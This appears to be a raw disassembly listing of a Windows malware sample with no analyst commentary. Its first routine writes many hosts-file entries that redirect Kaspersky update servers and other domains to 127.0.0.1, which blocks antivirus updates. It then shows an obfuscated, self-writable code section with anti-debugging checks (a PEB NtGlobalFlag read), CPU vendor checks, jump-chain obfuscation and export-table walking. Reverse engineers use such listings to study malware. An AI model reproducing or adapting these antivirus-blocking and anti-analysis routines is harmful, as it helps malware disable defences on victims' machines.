		call	edi	; fprintf
		push	offset a127_0_0_1Dn_27 ; "\n127.0.0.1\tdnl-us2.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_26 ; "\n127.0.0.1\tdnl-us3.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Dn_25 ; "\n127.0.0.1\tdnl-us4.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_24 ; "\n127.0.0.1\tdnl-us5.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_23 ; "\n127.0.0.1\tdnl-us6.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_22 ; "\n127.0.0.1\tdnl-us7.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_21 ; "\n127.0.0.1\tdnl-us8.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_20 ; "\n127.0.0.1\tdnl-us9.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1DnlUs ; "\n127.0.0.1\tdnl-us10.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_19 ; "\n127.0.0.1\tdnl-eu1.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Dn_18 ; "\n127.0.0.1\tdnl-eu2.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_17 ; "\n127.0.0.1\tdnl-eu3.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_16 ; "\n127.0.0.1\tdnl-eu4.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_15 ; "\n127.0.0.1\tdnl-eu5.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_14 ; "\n127.0.0.1\tdnl-eu6.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_13 ; "\n127.0.0.1\tdnl-eu7.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_12 ; "\n127.0.0.1\tdnl-eu8.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset dword_4016BC
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Dn_11 ; "\n127.0.0.1\tdnl-eu10.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_10 ; "\n127.0.0.1\tdnl-eu11.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_9 ; "\n127.0.0.1\tdnl-eu12.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1DnlEu ; "\n127.0.0.1\tdnl-eu13.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1DnlCd ; "\n127.0.0.1\tdnl-cd1.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_8 ; "\n127.0.0.1\tdnl-ru1.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_7 ; "\n127.0.0.1\tdnl-ru2.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1DnlRu ; "\n127.0.0.1\tdnl-ru5.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Dnl_6 ; "\n127.0.0.1\tdnl-cn1.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_5 ; "\n127.0.0.1\tdnl-cn2.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1DnlCn ; "\n127.0.0.1\tdnl-cn3.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_4 ; "\n127.0.0.1\tdnl-kr1.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_3 ; "\n127.0.0.1\tdnl-kr2.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1DnlKr ; "\n127.0.0.1\tdnl-kr3.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_2 ; "\n127.0.0.1\tdnl-jp1.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dnl_1 ; "\n127.0.0.1\tdnl-jp2.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Dnl_0 ; "\n127.0.0.1\tdnl-jp3.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1DnlJp ; "\n127.0.0.1\tdnl-jp4.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Inetp ; "\n127.0.0.1\tinetpc.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Mp0_i ; "\n127.0.0.1\tmp0.inetpc.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1M_pro ; "\n127.0.0.1\tm.proxyisp.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Proxy ; "\n127.0.0.1\tproxyisp.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Vncsv ; "\n127.0.0.1\tvncsvr.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ns2_d ; "\n127.0.0.1\tns2.darksheekz.info"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Darks ; "\n127.0.0.1\tdarksheekz.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Pcsec ; "\n127.0.0.1\tpcsecuritylab.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Liveu ; "\n127.0.0.1\tliveupdatesnet.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Rhyth ; "\n127.0.0.1\trhythmswing.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_r ; "\n127.0.0.1\twww.rhythmswing.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Pool_ ; "\n127.0.0.1\tpool.hybridtx.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Hybri ; "\n127.0.0.1\thybridtx.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1In1_s ; "\n127.0.0.1\tin1.smtp.messagingengine.com"...
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Messa ; "\n127.0.0.1\tmessagingengine.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1H_gtl ; "\n127.0.0.1\th.gtld-servers.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1GtldS ; "\n127.0.0.1\tgtld-servers.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Mail7 ; "\n127.0.0.1\tmail7.digitalwaves.co.nz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Netau ; "\n127.0.0.1\tnetau.dk"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_n ; "\n127.0.0.1\twww.netau.dk"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Eircd ; "\n127.0.0.1\teircd.zief.pl"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Zief_ ; "\n127.0.0.1\tzief.pl"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Pro_1 ; "\n127.0.0.1\tproxim.ircgalaxy.pl"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Pro_0 ; "\n127.0.0.1\tproxima.ircgalaxy.pl"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ircga ; "\n127.0.0.1\tircgalaxy.pl"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Proxi ; "\n127.0.0.1\tproxim.ntkrnlpa.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ntkrn ; "\n127.0.0.1\tntkrnlpa.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dep_m ; "\n127.0.0.1\tdep.mvl0an7.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Mvl0a ; "\n127.0.0.1\tmvl0an7.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dhcp_ ; "\n127.0.0.1\tdhcp.vncsvr.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Russi ; "\n127.0.0.1\trussia.blacktiehsbdcs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Jiets ; "\n127.0.0.1\tjiets.soidudrf.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Bti_j ; "\n127.0.0.1\tbti.jeiahsdod.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dirty ; "\n127.0.0.1\tdirty.eiheihre3.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Munir ; "\n127.0.0.1\tmunirah.nagitiriheiwu.net"
		push	esi
		call	edi	; fprintf
		push	esi
		call	dword_401008+8
		add	esp, 2Ch


loc_4048CD:				; CODE XREF: .text:00403BDFj
					; .text:00403BF0j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0A0h
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 491Ch, 2 dup(0)
		dd 4944h, 1000h, 4924h,	2 dup(0)
		dd 496Eh, 1008h, 5 dup(0)
		dd 4934h, 0
		dd 495Ch, 4966h, 4952h,	0
		dd 654701DFh, 72655674h, 6E6F6973h, 417845h, 4E52454Bh
		dd 32334C45h, 6C6C642Eh, 24C0000h, 6F6C6366h, 6573h, 70660258h
		dd 746E6972h, 2570066h,	65706F66h, 534D006Eh, 54524356h
		dd 6C6C642Eh, 1A2h dup(0)
_text		ends

; ---------------------------------------------------------------------------
; Section 2. (virtual address 00005000)
; Virtual size			: 0000D000 (  53248.)
; Section size in file		: 0000D000 (  53248.)
; Offset to raw	data for section: 00005000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_837l4vi2	segment	para public 'CODE' use32
		assume cs:_837l4vi2
		;org 405000h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing


loc_405000:				; DATA XREF: sub_40F058:loc_408628o
		xchg	eax, [esp]
		mov	ebp, eax
		pop	eax
		mov	eax, ds:dword_4106A4
		or	eax, eax
		jnz	loc_408B3B
		jmp	loc_410B19

; =============== S U B	R O U T	I N E =======================================



sub_405019	proc near		; CODE XREF: _837l4vi2:0040AD12p
					; _837l4vi2:0040F64Cj
		xchg	ecx, [esp+0]
		pop	ecx
		mov	ds:dword_411040, eax
		retn
sub_405019	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4103D0


loc_405024:				; CODE XREF: sub_4103D0-418Bj
		jmp	loc_410BFD
; END OF FUNCTION CHUNK	FOR sub_4103D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A1E6


loc_405029:				; CODE XREF: sub_40A1E6+7j
		jmp	loc_40E20D
; END OF FUNCTION CHUNK	FOR sub_40A1E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E4F1


loc_40502E:				; CODE XREF: sub_40E4F1-566Bj
		jmp	sub_40B99D
; END OF FUNCTION CHUNK	FOR sub_40E4F1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405033	proc near		; CODE XREF: sub_409D80j

; FUNCTION CHUNK AT 004052C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409A83 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_4052C7
sub_405033	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40503B:				; CODE XREF: sub_40F68F:loc_40C715j
					; sub_40B77A+1B55j ...
		jno	loc_40ACDC
		cmp	dword ptr [ebp-4], 3
		jnz	loc_40B749
		push	4F4427C3h
		pop	eax
		or	eax, 18FF8745h
		jmp	loc_405E66
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
		jmp	loc_410771
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_405061:				; CODE XREF: sub_40C1F0-64CCj
		js	loc_40EDEF
		mov	eax, large fs:30h
		mov	eax, [eax+68h]
		test	eax, 70h
		jz	loc_40B446
		jmp	loc_408CC6
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------


loc_405081:				; CODE XREF: _837l4vi2:0040B045j
		push	ebx
		call	sub_407E0A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_405088:				; CODE XREF: _837l4vi2:0040D61Cj
		jmp	locret_40EE94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F5BE


loc_40508D:				; CODE XREF: sub_40F5BE-5858j
		jmp	loc_40592D
; END OF FUNCTION CHUNK	FOR sub_40F5BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AF8A


loc_405092:				; CODE XREF: sub_40AF8A+9j
		xchg	eax, [esp+0]
		mov	ebx, eax
		pop	eax
		mov	[ebp-8], eax


loc_40509B:				; CODE XREF: _837l4vi2:0040DB9Cj
		jo	loc_4103A1
		xor	edx, edx
		jmp	loc_4105D4
; END OF FUNCTION CHUNK	FOR sub_40AF8A

; =============== S U B	R O U T	I N E =======================================



sub_4050A8	proc near		; DATA XREF: sub_40EDB3o

; FUNCTION CHUNK AT 0040BF28 SIZE 00000005 BYTES

		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	eax, [eax]
		mov	eax, 1
		jmp	loc_40BF28
sub_4050A8	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	eax, offset nullsub_1
		mov	byte ptr [eax],	0C3h
		jnz	loc_40CFEF
		jmp	loc_40CB2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405950


loc_4050D6:				; CODE XREF: sub_405950-799j
		jnz	loc_40ED9C
		jmp	loc_407312
; END OF FUNCTION CHUNK	FOR sub_405950
; ---------------------------------------------------------------------------


loc_4050E1:				; DATA XREF: sub_409CBB+6FFDo
		add	eax, ebp
		add	eax, 0FF60DFC9h
		push	eax
		push	ebx
		push	10721158h
		pop	ebx
		and	ebx, 81414576h
		add	ebx, 0C9050h
		jmp	loc_40A038
; ---------------------------------------------------------------------------


loc_405102:				; DATA XREF: sub_405474+1o
		add	eax, [esp]
		jnb	loc_40C038
		adc	edx, [esp+4]
		add	esp, 8
		jmp	loc_40BFE2
; ---------------------------------------------------------------------------


loc_405117:				; CODE XREF: _837l4vi2:0040F222j
		push	offset sub_4053DD
		jmp	loc_40AD71
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A26E


loc_405122:				; CODE XREF: sub_40A26E+33DCj
		jmp	loc_410A34
; END OF FUNCTION CHUNK	FOR sub_40A26E

; =============== S U B	R O U T	I N E =======================================



sub_405127	proc near		; DATA XREF: sub_40EE1E:loc_40B342o
		call	sub_40B088
		mov	edx, 0B9726E5Ah
		call	sub_40E739
		push	eax
		rol	eax, 1Bh
		mov	ds:dword_41000C, eax
		retn
sub_405127	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_405141:				; CODE XREF: sub_40E3C8-7B22j
		jmp	loc_4054BF
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C7D


loc_405146:				; CODE XREF: sub_406C7D:loc_40B00Ej
					; sub_40EE1E+4j
		ror	eax, 1Bh
		jmp	loc_405ABD
; END OF FUNCTION CHUNK	FOR sub_406C7D
; ---------------------------------------------------------------------------


loc_40514E:				; CODE XREF: _837l4vi2:0040B468j
		jl	loc_4059C6
		cmp	ecx, esi
		jmp	loc_40C358
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40515B:				; CODE XREF: sub_40D735:loc_4051F7j
		adc	ebx, edi
		jmp	loc_40D2F8
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B7DE


loc_405162:				; CODE XREF: sub_40B7DE-1835j
		add	ecx, 51F8A2Ch
		mov	ecx, [ecx]
		and	ecx, 7
		push	6BC17188h
		pop	eax
		add	eax, 943E8E79h
		jmp	loc_40F933
; END OF FUNCTION CHUNK	FOR sub_40B7DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407F6B


loc_40517E:				; CODE XREF: sub_407F6B:loc_410428j
		pop	ebp


loc_40517F:				; CODE XREF: sub_4065B8+BE2j
		mov	eax, ds:dword_40ABA0
		push	offset loc_40AA06
		jmp	nullsub_146
; END OF FUNCTION CHUNK	FOR sub_407F6B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405AFA


loc_405190:				; CODE XREF: sub_40AE62-577Fj
					; sub_405AFA:loc_408A3Fj
		jmp	loc_4074FB
; END OF FUNCTION CHUNK	FOR sub_405AFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4072E4


loc_405195:				; CODE XREF: sub_4072E4+668Ej
		call	sub_4061E8
; END OF FUNCTION CHUNK	FOR sub_4072E4
; START	OF FUNCTION CHUNK FOR sub_40D74E


loc_40519A:				; CODE XREF: sub_40D74E+8j
		jmp	loc_40C8A3
; END OF FUNCTION CHUNK	FOR sub_40D74E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405950


loc_40519F:				; CODE XREF: sub_405950:loc_40941Dj
		cmp	ebx, 756E6547h
		jz	loc_40F42E
		cmp	ebx, 68747541h
		jz	loc_40D089
		jmp	loc_4050D6
; END OF FUNCTION CHUNK	FOR sub_405950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4089C5


loc_4051BC:				; CODE XREF: sub_4089C5:loc_40D5A5j
		xor	eax, eax
		push	offset loc_40919D
		jmp	nullsub_59
; END OF FUNCTION CHUNK	FOR sub_4089C5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DE47


loc_4051C9:				; CODE XREF: sub_40DE47+13E6j
		jmp	loc_40B2BE
; END OF FUNCTION CHUNK	FOR sub_40DE47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8FE


loc_4051CE:				; CODE XREF: sub_40A8FE+12j
		jmp	loc_40AB47
; END OF FUNCTION CHUNK	FOR sub_40A8FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_4051D3:				; CODE XREF: sub_40D735-4A11j
		jmp	loc_40F908
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D977


loc_4051D8:				; CODE XREF: sub_40D977-8651j
		jmp	loc_40A425
; END OF FUNCTION CHUNK	FOR sub_40D977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_4051DD:				; CODE XREF: sub_40D735:loc_4064C0j
					; DATA XREF: _837l4vi2:0040E127o
		xor	[esi], edx
		cmp	edi, 80000001h
		jbe	loc_40ACAC
		mov	eax, 80000002h
		xor	ebx, ebx
		call	sub_4085B9


loc_4051F7:				; CODE XREF: _837l4vi2:004063E4j
		jmp	loc_40515B
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_4051FC:				; CODE XREF: sub_40DFF5-8DB2j
		jmp	loc_406259
; END OF FUNCTION CHUNK	FOR sub_40DFF5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405201	proc near		; DATA XREF: _837l4vi2:0040675Co

; FUNCTION CHUNK AT 00405634 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040576E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00406146 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004062EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406686 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040D2B3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D3A3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004104A7 SIZE 00000005 BYTES

		xchg	ebp, [esp+0]
		mov	edx, ebp
		xchg	edx, [esp+0]
		mov	ebp, esp
		push	ecx
		jmp	loc_4104A7
sub_405201	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_405211:				; CODE XREF: _837l4vi2:0040DCF3j
		jle	loc_40AC5E
		xchg	edi, ebx
		jmp	loc_40A98A
; ---------------------------------------------------------------------------


loc_40521E:				; DATA XREF: sub_40833D+8671o
		mov	esp, ebp
		pop	ebp
		push	ds:dword_406D58
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C099


loc_405228:				; CODE XREF: sub_40C099:loc_40D689j
		xor	edx, [ebx+ecx+4]
		jmp	loc_40AA1D
; END OF FUNCTION CHUNK	FOR sub_40C099
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_405231:				; CODE XREF: sub_40DFF5:loc_40E004j
		mov	ebx, [eax+18h]
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_410F9C
		jmp	loc_4051FC
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DC44


loc_405248:				; CODE XREF: sub_40DC44+1Dj
		push	eax
		push	40h
		call	sub_408864
; END OF FUNCTION CHUNK	FOR sub_40DC44

; =============== S U B	R O U T	I N E =======================================



sub_405250	proc near		; CODE XREF: sub_4096C0-43D7p
					; sub_407392:loc_4064AFj ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004053AA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00407784 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407C3D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040879F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040914E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C595 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040D138 SIZE 0000000E BYTES

		jns	sub_40A56F
		call	sub_41020E


loc_40525B:				; CODE XREF: sub_4108AF-2B87j
		jmp	loc_407C3D
sub_405250	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061E8


loc_405260:				; CODE XREF: sub_4061E8+2C0Dj
		jmp	nullsub_43
; END OF FUNCTION CHUNK	FOR sub_4061E8

; =============== S U B	R O U T	I N E =======================================



sub_405265	proc near		; DATA XREF: _837l4vi2:0040737Do
		add	eax, 0E3DC1855h
		call	sub_4064B4
sub_405265	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40882B


loc_405270:				; CODE XREF: sub_40882B+379Ej
		push	edi
		push	6A2E0E1h
		jmp	loc_40C9DA
; END OF FUNCTION CHUNK	FOR sub_40882B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_40527B:				; CODE XREF: sub_4065B8+61EEj
		pop	ecx
		xor	ecx, 6CD1E178h
		rol	ecx, 1Dh
		test	ecx, 2000h
		jmp	loc_40FB4E
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D0D2


loc_405290:				; CODE XREF: sub_40D0D2:loc_4066E1j
		push	eax
		call	sub_40529C
		retn
; END OF FUNCTION CHUNK	FOR sub_40D0D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ECC0


loc_405297:				; CODE XREF: sub_40ECC0+8j
		jmp	loc_410148
; END OF FUNCTION CHUNK	FOR sub_40ECC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40529C	proc near		; CODE XREF: sub_40D0D2-7E41p

; FUNCTION CHUNK AT 00407EF1 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp


loc_40529F:				; CODE XREF: sub_40882B:loc_40552Aj
		push	ecx
		jmp	loc_407EF1
sub_40529C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4052A5	proc near		; CODE XREF: _837l4vi2:0040F7D9p
					; _837l4vi2:00411031j

; FUNCTION CHUNK AT 00406BCD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00407168 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040835A SIZE 00000006 BYTES

		mov	[esp+0], eax
		pop	eax
		test	al, al
		jz	loc_40D51F
		jmp	loc_407168
sub_4052A5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4052B6:				; CODE XREF: _837l4vi2:0040F995j
		xor	eax, 0D6AE037Eh
		or	eax, 82A1F367h
		call	sub_40CE96
; START	OF FUNCTION CHUNK FOR sub_405033


loc_4052C7:				; CODE XREF: sub_405033+3j
		jmp	loc_409A83
; END OF FUNCTION CHUNK	FOR sub_405033
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40855B


loc_4052CC:				; CODE XREF: sub_40855B:loc_408F46j
		jbe	loc_409D89
		mov	edx, ecx
		sub	ebp, esi
		jmp	loc_40E598
; END OF FUNCTION CHUNK	FOR sub_40855B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4096C0


loc_4052DB:				; CODE XREF: sub_4096C0+3F0Aj
		cmp	dword ptr [ebp-0Ch], 0
		jz	loc_4052EE
		mov	eax, [ebp-0Ch]
		push	eax
		call	sub_405250
; END OF FUNCTION CHUNK	FOR sub_4096C0
; START	OF FUNCTION CHUNK FOR sub_40989E


loc_4052EE:				; CODE XREF: sub_4096C0-43E1j
					; sub_40989E-1E18j ...
		jnb	loc_407896
		lea	eax, [ebp-20h]
		mov	dword ptr [eax], 70736957h
		jmp	loc_406427
; END OF FUNCTION CHUNK	FOR sub_40989E
; ---------------------------------------------------------------------------


loc_405302:				; CODE XREF: _837l4vi2:00409034j
		ja	loc_40A2A5
		rol	ecx, 8
		xor	ecx, 0BC208730h
; START	OF FUNCTION CHUNK FOR sub_40D977


loc_405311:				; CODE XREF: sub_40D977:loc_409021j
		or	ebx, 7ACDC79Eh
		xor	ebx, 9F305BC8h
		or	edx, ebx
		pop	ebx
		and	ebx, 0A4E950E9h
		jmp	loc_4051D8
; END OF FUNCTION CHUNK	FOR sub_40D977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40532B:				; CODE XREF: sub_40966E+4371j
		jle	loc_40CC89
		popf
		js	loc_405BEF


loc_405338:				; CODE XREF: sub_4078C8:loc_4104B4j
		push	offset sub_40CF3C
		jmp	loc_408369
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408F1B


loc_405342:				; CODE XREF: sub_408F1B-D3Fj
		push	4F050EDh
		pop	edx
		and	edx, 0F909D219h
		rol	edx, 7
		jmp	loc_410D48
; END OF FUNCTION CHUNK	FOR sub_408F1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108F9


loc_405356:				; CODE XREF: sub_4108F9:loc_40DF67j
		test	edx, eax
		jmp	loc_40F269
; END OF FUNCTION CHUNK	FOR sub_4108F9
; ---------------------------------------------------------------------------

locret_40535D:				; CODE XREF: _837l4vi2:loc_406B70j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4087FF


loc_40535E:				; CODE XREF: sub_4087FF+15B2j
		jmp	loc_4095A8
; END OF FUNCTION CHUNK	FOR sub_4087FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_405363:				; CODE XREF: sub_40833D-1CBCj
		jmp	loc_409B88
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40611B


loc_405368:				; CODE XREF: sub_40611B+3258j
		push	ecx
		sbb	ecx, 23F3EC69h


loc_40536F:				; CODE XREF: sub_4053DD:loc_4078B4j
		push	esi
		push	77F26BDEh
		pop	esi
		jmp	loc_40787D
; END OF FUNCTION CHUNK	FOR sub_40611B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4085A2


loc_40537B:				; CODE XREF: sub_4085A2:loc_40D59Aj
		jz	loc_40E2B3
		jmp	loc_4060E5
